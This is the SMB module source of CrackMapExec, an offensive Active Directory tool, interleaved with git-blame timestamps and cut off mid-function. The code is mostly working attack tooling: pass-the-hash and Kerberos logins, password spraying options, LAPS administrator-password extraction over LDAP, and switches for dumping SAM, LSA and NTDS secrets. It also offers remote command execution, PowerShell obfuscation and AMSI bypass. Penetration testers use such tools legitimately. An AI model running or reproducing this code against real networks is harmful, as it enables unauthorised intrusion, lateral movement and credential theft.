2022-07-18 23:59:14 +00:00
#!/usr/bin/env python3
2017-03-27 21:09:36 +00:00
# -*- coding: utf-8 -*-
2016-12-15 07:28:00 +00:00
import socket
import os
2022-04-27 09:04:23 +00:00
import re
2016-12-15 07:28:00 +00:00
import ntpath
2021-10-17 15:50:29 +00:00
import hashlib , binascii
2019-11-10 21:42:04 +00:00
from io import StringIO
2016-12-15 07:28:00 +00:00
from impacket . smbconnection import SMBConnection , SessionError
2017-04-10 08:58:33 +00:00
from impacket . smb import SMB_DIALECT
2016-12-15 07:28:00 +00:00
from impacket . examples . secretsdump import RemoteOperations , SAMHashes , LSASecrets , NTDSHashes
2021-09-18 20:33:36 +00:00
from impacket . nmb import NetBIOSError , NetBIOSTimeout
2022-10-24 09:26:53 +00:00
from impacket . dcerpc . v5 import transport , lsat , lsad , scmr
2016-12-15 07:28:00 +00:00
from impacket . dcerpc . v5 . rpcrt import DCERPCException
2022-10-24 09:26:53 +00:00
from impacket . dcerpc . v5 . transport import DCERPCTransportFactory , SMBTransport
2020-05-03 18:30:41 +00:00
from impacket . dcerpc . v5 . rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
2017-03-27 21:09:36 +00:00
from impacket . dcerpc . v5 . epm import MSRPC_UUID_PORTMAP
2017-04-05 15:07:00 +00:00
from impacket . dcerpc . v5 . dcom . wmi import WBEM_FLAG_FORWARD_ONLY
from impacket . dcerpc . v5 . samr import SID_NAME_USE
from impacket . dcerpc . v5 . dtypes import MAXIMUM_ALLOWED
2022-10-24 13:59:43 +00:00
from impacket . krb5 . kerberosv5 import SessionKeyDecryptionError
2022-11-09 21:56:57 +00:00
from impacket . krb5 . types import KerberosException
2016-12-15 07:28:00 +00:00
from cme . connection import *
2017-03-27 21:09:36 +00:00
from cme . logger import CMEAdapter
from cme . servers . smb import CMESMBServer
2016-12-15 07:28:00 +00:00
from cme . protocols . smb . wmiexec import WMIEXEC
from cme . protocols . smb . atexec import TSCH_EXEC
from cme . protocols . smb . smbexec import SMBEXEC
2017-03-27 21:09:36 +00:00
from cme . protocols . smb . mmcexec import MMCEXEC
2016-12-15 07:28:00 +00:00
from cme . protocols . smb . smbspider import SMBSpider
2017-04-10 07:24:23 +00:00
from cme . protocols . smb . passpol import PassPolDump
2021-06-24 18:37:54 +00:00
from cme . protocols . smb . samruser import UserSamrDump
2021-10-17 15:50:29 +00:00
from cme . protocols . ldap . smbldap import LDAPConnect
2016-12-15 07:28:00 +00:00
from cme . helpers . logger import highlight
2017-03-30 00:03:04 +00:00
from cme . helpers . misc import *
2021-11-20 21:37:14 +00:00
from cme . helpers . bloodhound import add_user_bh
2016-12-15 07:28:00 +00:00
from cme . helpers . powershell import create_ps_command
from pywerview . cli . helpers import *
2017-04-05 15:07:00 +00:00
from pywerview . requester import RPCRequester
from time import time
2016-12-15 07:28:00 +00:00
from datetime import datetime
2017-03-27 21:09:36 +00:00
from functools import wraps
2018-02-23 13:55:05 +00:00
from traceback import format_exc
2017-03-27 21:09:36 +00:00
smb_share_name = gen_random_string ( 5 ) . upper ( )
smb_server = None
2020-06-20 17:20:27 +00:00
smb_error_status = [
" STATUS_ACCOUNT_DISABLED " ,
" STATUS_ACCOUNT_EXPIRED " ,
" STATUS_ACCOUNT_RESTRICTION " ,
" STATUS_INVALID_LOGON_HOURS " ,
" STATUS_INVALID_WORKSTATION " ,
" STATUS_LOGON_TYPE_NOT_GRANTED " ,
" STATUS_PASSWORD_EXPIRED " ,
2020-06-20 22:16:37 +00:00
" STATUS_PASSWORD_MUST_CHANGE " ,
2022-03-03 20:52:37 +00:00
" STATUS_ACCESS_DENIED " ,
2022-10-24 09:43:52 +00:00
" STATUS_NO_SUCH_FILE " ,
2022-10-24 13:01:30 +00:00
" KDC_ERR_CLIENT_REVOKED " ,
" KDC_ERR_PREAUTH_FAILED "
2020-06-20 17:20:27 +00:00
]
2022-06-17 20:11:28 +00:00
def get_error_string ( exception ) :
if hasattr ( exception , ' getErrorString ' ) :
es = exception . getErrorString ( )
if type ( es ) is tuple :
return es [ 0 ]
else :
return es
else :
return str ( exception )
2017-03-27 21:09:36 +00:00
def requires_smb_server ( func ) :
def _decorator ( self , * args , * * kwargs ) :
global smb_server
global smb_share_name
get_output = False
payload = None
methods = [ ]
try :
payload = args [ 0 ]
except IndexError :
pass
try :
get_output = args [ 1 ]
except IndexError :
pass
try :
methods = args [ 2 ]
except IndexError :
pass
2019-11-10 23:12:35 +00:00
if ' payload ' in kwargs :
2017-03-27 21:09:36 +00:00
payload = kwargs [ ' payload ' ]
2019-11-10 23:12:35 +00:00
if ' get_output ' in kwargs :
2017-03-27 21:09:36 +00:00
get_output = kwargs [ ' get_output ' ]
2019-11-10 23:12:35 +00:00
if ' methods ' in kwargs :
2017-03-27 21:09:36 +00:00
methods = kwargs [ ' methods ' ]
if not payload and self . args . execute :
if not self . args . no_output : get_output = True
if get_output or ( methods and ( ' smbexec ' in methods ) ) :
if not smb_server :
2017-04-05 15:07:00 +00:00
#with sem:
2017-03-27 21:09:36 +00:00
logging . debug ( ' Starting SMB server ' )
2020-07-30 13:14:31 +00:00
smb_server = CMESMBServer ( self . logger , smb_share_name , listen_port = self . args . smb_server_port , verbose = self . args . verbose )
2017-03-27 21:09:36 +00:00
smb_server . start ( )
output = func ( self , * args , * * kwargs )
if smb_server is not None :
2017-04-05 15:07:00 +00:00
#with sem:
2017-03-27 21:09:36 +00:00
smb_server . shutdown ( )
smb_server = None
return output
return wraps ( func ) ( _decorator )
2016-12-15 07:28:00 +00:00
class smb ( connection ) :
def __init__ ( self , args , db , host ) :
self . domain = None
self . server_os = None
2017-03-27 21:09:36 +00:00
self . os_arch = 0
2016-12-15 07:28:00 +00:00
self . hash = None
self . lmhash = ' '
self . nthash = ' '
self . remote_ops = None
self . bootkey = None
self . output_filename = None
2017-05-15 04:44:49 +00:00
self . smbv1 = None
2017-04-05 15:07:00 +00:00
self . signing = False
2017-03-27 21:09:36 +00:00
self . smb_share_name = smb_share_name
2016-12-15 07:28:00 +00:00
connection . __init__ ( self , args , db , host )
@staticmethod
def proto_args ( parser , std_parser , module_parser ) :
2017-10-25 02:08:19 +00:00
smb_parser = parser . add_parser ( ' smb ' , help = " own stuff using SMB " , parents = [ std_parser , module_parser ] )
2016-12-15 07:28:00 +00:00
smb_parser . add_argument ( " -H " , ' --hash ' , metavar = " HASH " , dest = ' hash ' , nargs = ' + ' , default = [ ] , help = ' NTLM hash(es) or file(s) containing NTLM hashes ' )
2020-04-30 14:06:57 +00:00
smb_parser . add_argument ( " --no-bruteforce " , action = ' store_true ' , help = ' No spray when using file for username and password (user1 => password1, user2 => password2 ' )
2016-12-15 07:28:00 +00:00
dgroup = smb_parser . add_mutually_exclusive_group ( )
2017-04-05 15:07:00 +00:00
dgroup . add_argument ( " -d " , metavar = " DOMAIN " , dest = ' domain ' , type = str , help = " domain to authenticate to " )
dgroup . add_argument ( " --local-auth " , action = ' store_true ' , help = ' authenticate locally to each target ' )
2017-10-25 02:08:19 +00:00
smb_parser . add_argument ( " --port " , type = int , choices = { 445 , 139 } , default = 445 , help = " SMB port (default: 445) " )
2017-04-05 15:07:00 +00:00
smb_parser . add_argument ( " --share " , metavar = " SHARE " , default = " C$ " , help = " specify a share (default: C$) " )
2020-07-30 13:14:31 +00:00
smb_parser . add_argument ( " --smb-server-port " , default = " 445 " , help = " specify a server port for SMB " , type = int )
2017-04-05 15:07:00 +00:00
smb_parser . add_argument ( " --gen-relay-list " , metavar = ' OUTPUT_FILE ' , help = " outputs all hosts that don ' t require SMB signing to the specified file " )
2018-05-27 01:44:24 +00:00
smb_parser . add_argument ( " --continue-on-success " , action = ' store_true ' , help = " continues authentication attempts even after successes " )
2022-02-10 21:36:07 +00:00
smb_parser . add_argument ( " --smb-timeout " , help = " SMB connection timeout, default 2 secondes " , type = int , default = 2 )
2021-10-17 18:41:20 +00:00
smb_parser . add_argument ( " --laps " , dest = ' laps ' , metavar = " LAPS " , type = str , help = " LAPS authentification " , nargs = ' ? ' , const = ' administrator ' )
2018-05-27 01:44:24 +00:00
2016-12-15 07:28:00 +00:00
cgroup = smb_parser . add_argument_group ( " Credential Gathering " , " Options for gathering credentials " )
2017-03-27 21:09:36 +00:00
cegroup = cgroup . add_mutually_exclusive_group ( )
cegroup . add_argument ( " --sam " , action = ' store_true ' , help = ' dump SAM hashes from target systems ' )
cegroup . add_argument ( " --lsa " , action = ' store_true ' , help = ' dump LSA secrets from target systems ' )
2017-07-10 05:44:58 +00:00
cegroup . add_argument ( " --ntds " , choices = { ' vss ' , ' drsuapi ' } , nargs = ' ? ' , const = ' drsuapi ' , help = " dump the NTDS.dit from target DCs using the specifed method \n (default: drsuapi) " )
2016-12-15 07:28:00 +00:00
#cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
#cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')
2022-07-08 08:47:27 +00:00
ngroup = smb_parser . add_argument_group ( " Credential Gathering " , " Options for gathering credentials " )
ngroup . add_argument ( " --enabled " , action = ' store_true ' , help = ' Only dump enabled targets from DC ' )
ngroup . add_argument ( " --user " , dest = ' userntds ' , type = str , help = ' Dump selected user from DC ' )
2016-12-15 07:28:00 +00:00
egroup = smb_parser . add_argument_group ( " Mapping/Enumeration " , " Options for Mapping/Enumerating " )
2017-03-27 21:09:36 +00:00
egroup . add_argument ( " --shares " , action = " store_true " , help = " enumerate shares and access " )
egroup . add_argument ( " --sessions " , action = ' store_true ' , help = ' enumerate active sessions ' )
egroup . add_argument ( ' --disks ' , action = ' store_true ' , help = ' enumerate disks ' )
2022-04-27 09:04:23 +00:00
egroup . add_argument ( " --loggedon-users-filter " , action = ' store ' , help = ' only search for specific user, works with regex ' )
2017-03-27 21:09:36 +00:00
egroup . add_argument ( " --loggedon-users " , action = ' store_true ' , help = ' enumerate logged on users ' )
egroup . add_argument ( ' --users ' , nargs = ' ? ' , const = ' ' , metavar = ' USER ' , help = ' enumerate domain users, if a user is specified than only its information is queried. ' )
egroup . add_argument ( " --groups " , nargs = ' ? ' , const = ' ' , metavar = ' GROUP ' , help = ' enumerate domain groups, if a group is specified than its members are enumerated ' )
2021-06-24 18:37:54 +00:00
egroup . add_argument ( ' --computers ' , nargs = ' ? ' , const = ' ' , metavar = ' COMPUTER ' , help = ' enumerate computer users ' )
2021-05-30 20:28:37 +00:00
egroup . add_argument ( " --local-groups " , nargs = ' ? ' , const = ' ' , metavar = ' GROUP ' , help = ' enumerate local groups, if a group is specified then its members are enumerated ' )
2017-03-27 21:09:36 +00:00
egroup . add_argument ( " --pass-pol " , action = ' store_true ' , help = ' dump password policy ' )
2017-10-25 03:30:14 +00:00
egroup . add_argument ( " --rid-brute " , nargs = ' ? ' , type = int , const = 4000 , metavar = ' MAX_RID ' , help = ' enumerate users by bruteforcing RID \' s (default: 4000) ' )
2017-03-27 21:09:36 +00:00
egroup . add_argument ( " --wmi " , metavar = ' QUERY ' , type = str , help = ' issues the specified WMI query ' )
2017-04-05 15:07:00 +00:00
egroup . add_argument ( " --wmi-namespace " , metavar = ' NAMESPACE ' , default = ' root \\ cimv2 ' , help = ' WMI Namespace (default: root \\ cimv2) ' )
2016-12-15 07:28:00 +00:00
sgroup = smb_parser . add_argument_group ( " Spidering " , " Options for spidering shares " )
2017-04-05 15:07:00 +00:00
sgroup . add_argument ( " --spider " , metavar = ' SHARE ' , type = str , help = ' share to spider ' )
sgroup . add_argument ( " --spider-folder " , metavar = ' FOLDER ' , default = ' . ' , type = str , help = ' folder to spider (default: root share directory) ' )
2017-03-27 21:09:36 +00:00
sgroup . add_argument ( " --content " , action = ' store_true ' , help = ' enable file content searching ' )
sgroup . add_argument ( " --exclude-dirs " , type = str , metavar = ' DIR_LIST ' , default = ' ' , help = ' directories to exclude from spidering ' )
2016-12-15 07:28:00 +00:00
segroup = sgroup . add_mutually_exclusive_group ( )
2017-04-05 15:07:00 +00:00
segroup . add_argument ( " --pattern " , nargs = ' + ' , help = ' pattern(s) to search for in folders, filenames and file content ' )
segroup . add_argument ( " --regex " , nargs = ' + ' , help = ' regex(s) to search for in folders, filenames and file content ' )
sgroup . add_argument ( " --depth " , type = int , default = None , help = ' max spider recursion depth (default: infinity & beyond) ' )
sgroup . add_argument ( " --only-files " , action = ' store_true ' , help = ' only spider files ' )
2016-12-15 07:28:00 +00:00
2020-04-28 16:22:30 +00:00
tgroup = smb_parser . add_argument_group ( " Files " , " Options for put and get remote files " )
tgroup . add_argument ( " --put-file " , nargs = 2 , metavar = " FILE " , help = ' Put a local file into remote target, ex: whoami.txt \\ \\ Windows \\ \\ Temp \\ \\ whoami.txt ' )
tgroup . add_argument ( " --get-file " , nargs = 2 , metavar = " FILE " , help = ' Get a remote file, ex: \\ \\ Windows \\ \\ Temp \\ \\ whoami.txt whoami.txt ' )
2016-12-15 07:28:00 +00:00
cgroup = smb_parser . add_argument_group ( " Command Execution " , " Options for executing commands " )
2017-04-05 15:07:00 +00:00
cgroup . add_argument ( ' --exec-method ' , choices = { " wmiexec " , " mmcexec " , " smbexec " , " atexec " } , default = None , help = " method to execute the command. Ignored if in MSSQL mode (default: wmiexec) " )
2022-04-26 13:58:03 +00:00
cgroup . add_argument ( ' --codec ' , default = ' utf-8 ' , help = ' Set encoding used (codec) from the target \' s output (default '
' " utf-8 " ). If errors are detected, run chcp.com at the target, '
' map the result with '
' https://docs.python.org/3/library/codecs.html#standard-encodings and then execute '
' again with --codec and the corresponding codec ' )
2017-04-05 15:07:00 +00:00
cgroup . add_argument ( ' --force-ps32 ' , action = ' store_true ' , help = ' force the PowerShell command to run in a 32-bit process ' )
cgroup . add_argument ( ' --no-output ' , action = ' store_true ' , help = ' do not retrieve command output ' )
2016-12-15 07:28:00 +00:00
cegroup = cgroup . add_mutually_exclusive_group ( )
2017-04-05 15:07:00 +00:00
cegroup . add_argument ( " -x " , metavar = " COMMAND " , dest = ' execute ' , help = " execute the specified command " )
cegroup . add_argument ( " -X " , metavar = " PS_COMMAND " , dest = ' ps_execute ' , help = ' execute the specified PowerShell command ' )
2016-12-15 07:28:00 +00:00
2017-06-26 09:49:04 +00:00
psgroup = smb_parser . add_argument_group ( ' Powershell Obfuscation ' , " Options for PowerShell script obfuscation " )
psgroup . add_argument ( ' --obfs ' , action = ' store_true ' , help = ' Obfuscate PowerShell scripts ' )
2021-02-28 14:48:50 +00:00
psgroup . add_argument ( ' --amsi-bypass ' , nargs = 1 , metavar = " FILE " , help = ' File with a custom AMSI bypass ' )
2017-06-26 09:49:04 +00:00
psgroup . add_argument ( ' --clear-obfscripts ' , action = ' store_true ' , help = ' Clear all cached obfuscated PowerShell scripts ' )
2016-12-15 07:28:00 +00:00
return parser
def proto_logger ( self ) :
self . logger = CMEAdapter ( extra = {
' protocol ' : ' SMB ' ,
' host ' : self . host ,
2017-05-03 00:52:16 +00:00
' port ' : self . args . port ,
2017-04-30 18:54:35 +00:00
' hostname ' : self . hostname
2016-12-15 07:28:00 +00:00
} )
2017-03-27 21:09:36 +00:00
def get_os_arch ( self ) :
try :
stringBinding = r ' ncacn_ip_tcp: {} [135] ' . format ( self . host )
transport = DCERPCTransportFactory ( stringBinding )
transport . set_connect_timeout ( 5 )
dce = transport . get_dce_rpc ( )
2022-11-03 20:04:46 +00:00
if self . kerberos :
2020-05-03 18:30:41 +00:00
dce . set_auth_type ( RPC_C_AUTHN_GSS_NEGOTIATE )
2017-03-27 21:09:36 +00:00
dce . connect ( )
try :
dce . bind ( MSRPC_UUID_PORTMAP , transfer_syntax = ( ' 71710533-BEBA-4937-8319-B5DBEF9CCC36 ' , ' 1.0 ' ) )
2019-11-10 21:42:04 +00:00
except ( DCERPCException , e ) :
2017-03-27 21:09:36 +00:00
if str ( e ) . find ( ' syntaxes_not_supported ' ) > = 0 :
2017-03-30 00:03:04 +00:00
dce . disconnect ( )
2017-03-27 21:09:36 +00:00
return 32
else :
2017-03-30 00:03:04 +00:00
dce . disconnect ( )
2017-03-27 21:09:36 +00:00
return 64
2017-03-30 00:03:04 +00:00
except Exception as e :
2017-03-27 21:09:36 +00:00
logging . debug ( ' Error retrieving os arch of {} : {} ' . format ( self . host , str ( e ) ) )
return 0
2016-12-15 07:28:00 +00:00
def enum_host_info ( self ) :
self . local_ip = self . conn . getSMBServer ( ) . get_socket ( ) . getsockname ( ) [ 0 ]
2022-11-03 19:29:56 +00:00
no_ntlm = False
2016-12-15 07:28:00 +00:00
try :
self . conn . login ( ' ' , ' ' )
2022-10-22 20:38:29 +00:00
except Exception as e :
if " STATUS_NOT_SUPPORTED " in str ( e ) :
# no ntlm supported
2022-11-03 19:29:56 +00:00
no_ntlm = True
2019-11-10 23:12:35 +00:00
pass
2016-12-15 07:28:00 +00:00
2022-11-03 19:29:56 +00:00
self . domain = self . conn . getServerDNSDomainName ( ) if not no_ntlm else self . args . domain
self . hostname = self . conn . getServerName ( ) if not no_ntlm else self . host
self . server_os = self . conn . getServerOS ( )
2022-06-17 20:11:28 +00:00
try :
self . signing = self . conn . isSigningRequired ( ) if self . smbv1 else self . conn . _SMBConnection . _Connection [ ' RequireSigning ' ]
except :
pass
2017-04-30 18:54:35 +00:00
self . os_arch = self . get_os_arch ( )
2016-12-15 07:28:00 +00:00
self . output_filename = os . path . expanduser ( ' ~/.cme/logs/ {} _ {} _ {} ' . format ( self . hostname , self . host , datetime . now ( ) . strftime ( " % Y- % m- %d _ % H % M % S " ) ) )
2022-02-01 13:38:12 +00:00
self . output_filename = self . output_filename . replace ( " : " , " - " )
2016-12-15 07:28:00 +00:00
if not self . domain :
self . domain = self . hostname
2022-03-02 07:04:35 +00:00
self . db . add_computer ( self . host , self . hostname , self . domain , self . server_os , self . smbv1 , self . signing )
2016-12-15 07:28:00 +00:00
try :
'''
DC ' s seem to want us to logoff first, windows workstations sometimes reset the connection
( go home Windows , you ' re drunk)
'''
self . conn . logoff ( )
except :
pass
if self . args . domain :
self . domain = self . args . domain
2020-05-09 12:20:53 +00:00
if self . args . local_auth :
self . domain = self . hostname
2016-12-15 07:28:00 +00:00
2021-10-17 15:50:29 +00:00
def laps_search ( self , username , password , ntlm_hash , domain ) :
2022-11-10 21:07:37 +00:00
self . logger . extra [ ' protocol ' ] = " LDAP "
self . logger . extra [ ' port ' ] = " 389 "
2021-10-17 15:50:29 +00:00
ldapco = LDAPConnect ( self . domain , " 389 " , self . domain )
2022-11-10 21:07:37 +00:00
if self . kerberos :
if self . kdcHost == None :
self . logger . error ( ' Provide --kdcHost parameter ' )
return False
connection = ldapco . kerberos_login ( domain , username [ 0 ] if username else ' ' , password [ 0 ] if password else ' ' , ntlm_hash [ 0 ] if ntlm_hash else ' ' , self . kdcHost , self . aesKey )
else :
connection = ldapco . plaintext_login ( domain , username [ 0 ] if username else ' ' , password [ 0 ] if password else ' ' , ntlm_hash [ 0 ] if ntlm_hash else ' ' )
2021-11-17 12:37:14 +00:00
if connection == False :
logging . debug ( ' LAPS connection failed with account {} ' . format ( username ) )
return False
2021-10-16 22:08:07 +00:00
searchFilter = ' (&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name= ' + self . hostname + ' )) '
attributes = [ ' ms-MCS-AdmPwd ' , ' samAccountname ' ]
result = connection . search ( searchFilter = searchFilter ,
attributes = attributes ,
sizeLimit = 0 )
2021-11-17 12:37:14 +00:00
msMCSAdmPwd = ' '
sAMAccountName = ' '
2021-10-16 22:08:07 +00:00
for item in result :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
for computer in item [ ' attributes ' ] :
if str ( computer [ ' type ' ] ) == " sAMAccountName " :
sAMAccountName = str ( computer [ ' vals ' ] [ 0 ] )
else :
msMCSAdmPwd = str ( computer [ ' vals ' ] [ 0 ] )
2021-10-17 15:50:29 +00:00
logging . debug ( " Computer: {:<20} Password: {} {} " . format ( sAMAccountName , msMCSAdmPwd , self . hostname ) )
2021-10-17 18:41:20 +00:00
self . username = self . args . laps
2021-10-17 15:50:29 +00:00
self . password = msMCSAdmPwd
2021-11-17 12:37:14 +00:00
if msMCSAdmPwd == ' ' :
2022-11-10 21:07:37 +00:00
self . logger . error ( ' msMCSAdmPwd is empty or account cannot read LAPS property for {} ' . format ( self . hostname ) )
2021-11-17 12:37:14 +00:00
return False
2021-10-17 15:50:29 +00:00
if ntlm_hash :
hash_ntlm = hashlib . new ( ' md4 ' , msMCSAdmPwd . encode ( ' utf-16le ' ) ) . digest ( )
2022-02-10 21:36:07 +00:00
self . hash = binascii . hexlify ( hash_ntlm ) . decode ( )
2021-10-17 15:50:29 +00:00
self . domain = self . hostname
2022-11-10 21:07:37 +00:00
self . logger . extra [ ' protocol ' ] = " SMB "
self . logger . extra [ ' port ' ] = " 445 "
2021-11-17 12:37:14 +00:00
return True
2021-10-16 22:08:07 +00:00
2016-12-15 07:28:00 +00:00
def print_host_info ( self ) :
2017-05-15 04:44:49 +00:00
self . logger . info ( u " {} {} (name: {} ) (domain: {} ) (signing: {} ) (SMBv1: {} ) " . format ( self . server_os ,
' x {} ' . format ( self . os_arch ) if self . os_arch else ' ' ,
2019-11-10 23:12:35 +00:00
self . hostname ,
self . domain ,
2017-05-15 04:44:49 +00:00
self . signing ,
self . smbv1 ) )
2021-10-17 15:50:29 +00:00
if self . args . laps :
2021-11-17 12:37:14 +00:00
return self . laps_search ( self . args . username , self . args . password , self . args . hash , self . domain )
return True
2021-10-17 15:50:29 +00:00
2022-10-20 16:08:30 +00:00
def kerberos_login ( self , domain , username , password = ' ' , ntlm_hash = ' ' , aesKey = ' ' , kdcHost = ' ' , useCache = False ) :
2022-10-22 21:29:56 +00:00
logging . getLogger ( " impacket " ) . disabled = True
2021-09-21 14:36:52 +00:00
#Re-connect since we logged off
2022-11-10 21:06:35 +00:00
fqdn_host = self . hostname + " . " + self . domain
self . create_conn_obj ( fqdn_host )
2022-10-20 16:08:30 +00:00
lmhash = ' '
nthash = ' '
2022-10-31 12:33:41 +00:00
if not all ( ' ' == s for s in [ self . nthash , password , aesKey ] ) :
kerb_pass = next ( s for s in [ self . nthash , password , aesKey ] if s )
else :
kerb_pass = ' '
2020-05-05 16:11:18 +00:00
try :
2022-10-22 21:29:56 +00:00
if not self . args . laps :
self . password = password
2022-11-16 20:15:30 +00:00
self . username = username
2022-10-20 16:08:30 +00:00
#This checks to see if we didn't provide the LM Hash
if ntlm_hash . find ( ' : ' ) != - 1 :
lmhash , nthash = ntlm_hash . split ( ' : ' )
self . hash = nthash
else :
nthash = ntlm_hash
self . hash = ntlm_hash
if lmhash : self . lmhash = lmhash
if nthash : self . nthash = nthash
self . conn . kerberosLogin ( username , password , domain , lmhash , nthash , aesKey , kdcHost , useCache = useCache )
2022-10-24 09:26:53 +00:00
self . check_if_admin ( )
2022-11-16 20:15:30 +00:00
if username == ' ' :
self . username = self . conn . getCredentials ( ) [ 0 ]
else :
self . username = username
2022-10-20 16:08:30 +00:00
2022-10-24 12:12:32 +00:00
out = u ' {} \\ {} {} {} ' . format ( self . domain ,
2022-10-24 12:55:07 +00:00
self . username ,
2022-10-24 12:12:32 +00:00
# Show what was used between cleartext, nthash, aesKey and ccache
2022-10-24 12:55:07 +00:00
" from ccache " if useCache
2022-10-31 12:33:41 +00:00
else " : %s " % ( kerb_pass if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ) ,
2020-05-04 17:22:10 +00:00
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' ) )
self . logger . success ( out )
2022-10-20 19:40:53 +00:00
if not self . args . local_auth :
2022-10-24 12:55:07 +00:00
add_user_bh ( self . username , domain , self . logger , self . config )
2022-10-20 19:40:53 +00:00
if not self . args . continue_on_success :
return True
2022-10-24 09:26:53 +00:00
elif self . signing : # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
try :
self . conn . logoff ( )
except :
pass
self . create_conn_obj ( )
2022-10-24 14:02:01 +00:00
except SessionKeyDecryptionError :
# for PRE-AUTH account
self . logger . error ( u ' {} \\ {} {} {} ' . format ( domain ,
self . username ,
" account vulnerable to asreproast attack " ,
" " ) ,
color = ' yellow ' )
return False
2022-11-09 21:56:57 +00:00
except ( FileNotFoundError , KerberosException ) as e :
2022-10-24 12:30:31 +00:00
self . logger . error ( ' CCache Error: {} ' . format ( e ) )
return False
2022-11-10 09:17:01 +00:00
except OSError as e :
self . logger . error ( u ' {} \\ {} {} {} {} ' . format ( domain ,
self . username ,
# Show what was used between cleartext, nthash, aesKey and ccache
" from ccache " if useCache
2022-11-10 21:07:37 +00:00
else " : %s " % ( kerb_pass if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ) ,
2022-11-10 09:17:01 +00:00
str ( e ) ,
' ' ,
color = ' red ' ) )
2022-10-24 09:26:53 +00:00
except ( SessionError , Exception ) as e :
2022-10-24 09:43:52 +00:00
error , desc = e . getErrorString ( )
2022-10-24 12:12:32 +00:00
self . logger . error ( u ' {} \\ {} {} {} {} ' . format ( domain ,
2022-10-24 09:43:52 +00:00
self . username ,
2022-10-24 12:55:07 +00:00
# Show what was used between cleartext, nthash, aesKey and ccache
" from ccache " if useCache
2022-11-10 21:07:37 +00:00
else " : %s " % ( kerb_pass if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ) ,
2022-10-24 09:43:52 +00:00
error ,
' ( {} ) ' . format ( desc ) if self . args . verbose else ' ' ) ,
color = ' magenta ' if error in smb_error_status else ' red ' )
if error not in smb_error_status :
self . inc_failed_login ( username )
return False
2022-11-10 09:17:01 +00:00
return False
2020-05-09 13:36:31 +00:00
2016-12-15 07:28:00 +00:00
def plaintext_login ( self , domain , username , password ) :
2021-09-21 14:36:52 +00:00
#Re-connect since we logged off
self . create_conn_obj ( )
2016-12-15 07:28:00 +00:00
try :
2021-10-16 22:08:07 +00:00
if not self . args . laps :
self . password = password
self . username = username
2016-12-15 07:28:00 +00:00
self . domain = domain
2021-10-16 22:08:07 +00:00
self . conn . login ( self . username , self . password , domain )
2020-06-20 22:16:37 +00:00
2016-12-15 07:28:00 +00:00
self . check_if_admin ( )
2021-10-16 22:08:07 +00:00
self . db . add_credential ( ' plaintext ' , domain , self . username , self . password )
2016-12-15 07:28:00 +00:00
if self . admin_privs :
2021-10-16 22:08:07 +00:00
self . db . add_admin_user ( ' plaintext ' , domain , self . username , self . password , self . host )
2016-12-15 07:28:00 +00:00
2019-11-10 23:12:35 +00:00
out = u ' {} \\ {} : {} {} ' . format ( domain ,
2021-10-16 22:08:07 +00:00
self . username ,
2022-02-06 22:56:41 +00:00
self . password if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2018-03-01 19:36:17 +00:00
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' ) )
2016-12-15 07:28:00 +00:00
self . logger . success ( out )
2022-02-06 12:33:49 +00:00
if not self . args . local_auth :
add_user_bh ( self . username , self . domain , self . logger , self . config )
2018-05-27 01:44:24 +00:00
if not self . args . continue_on_success :
return True
2020-05-09 13:36:31 +00:00
elif self . signing : # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
try :
self . conn . logoff ( )
except :
pass
self . create_conn_obj ( )
2021-12-18 20:33:46 +00:00
except ( SessionError ) as e :
2016-12-15 07:28:00 +00:00
error , desc = e . getErrorString ( )
2019-11-10 23:12:35 +00:00
self . logger . error ( u ' {} \\ {} : {} {} {} ' . format ( domain ,
2021-10-16 22:08:07 +00:00
self . username ,
2022-02-07 21:19:46 +00:00
self . password if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2016-12-15 07:28:00 +00:00
error ,
2020-06-20 17:20:27 +00:00
' ( {} ) ' . format ( desc ) if self . args . verbose else ' ' ) ,
2020-06-20 22:16:37 +00:00
color = ' magenta ' if error in smb_error_status else ' red ' )
2020-06-21 19:21:07 +00:00
if error not in smb_error_status :
2020-06-20 22:16:37 +00:00
self . inc_failed_login ( username )
return False
2021-12-11 13:57:37 +00:00
except ( ConnectionResetError , NetBIOSTimeout , NetBIOSError ) as e :
self . logger . error ( ' Connection Error: {} ' . format ( e ) )
return False
2016-12-15 07:28:00 +00:00
def hash_login ( self , domain , username , ntlm_hash ) :
2021-09-21 14:36:52 +00:00
#Re-connect since we logged off
self . create_conn_obj ( )
2016-12-15 07:28:00 +00:00
lmhash = ' '
nthash = ' '
try :
2022-02-10 21:36:07 +00:00
2021-10-17 15:50:29 +00:00
if not self . args . laps :
self . username = username
2022-02-10 21:36:07 +00:00
#This checks to see if we didn't provide the LM Hash
if ntlm_hash . find ( ' : ' ) != - 1 :
lmhash , nthash = ntlm_hash . split ( ' : ' )
2022-02-11 21:38:39 +00:00
self . hash = nthash
2022-02-10 21:36:07 +00:00
else :
nthash = ntlm_hash
2022-02-11 21:38:39 +00:00
self . hash = ntlm_hash
2022-02-10 21:36:07 +00:00
if lmhash : self . lmhash = lmhash
if nthash : self . nthash = nthash
else :
nthash = self . hash
2016-12-15 07:28:00 +00:00
self . domain = domain
2021-10-17 15:50:29 +00:00
self . conn . login ( self . username , ' ' , domain , lmhash , nthash )
2020-06-20 22:16:37 +00:00
2016-12-15 07:28:00 +00:00
self . check_if_admin ( )
2022-02-11 21:38:39 +00:00
self . db . add_credential ( ' hash ' , domain , self . username , nthash )
2016-12-15 07:28:00 +00:00
if self . admin_privs :
2022-02-11 21:38:39 +00:00
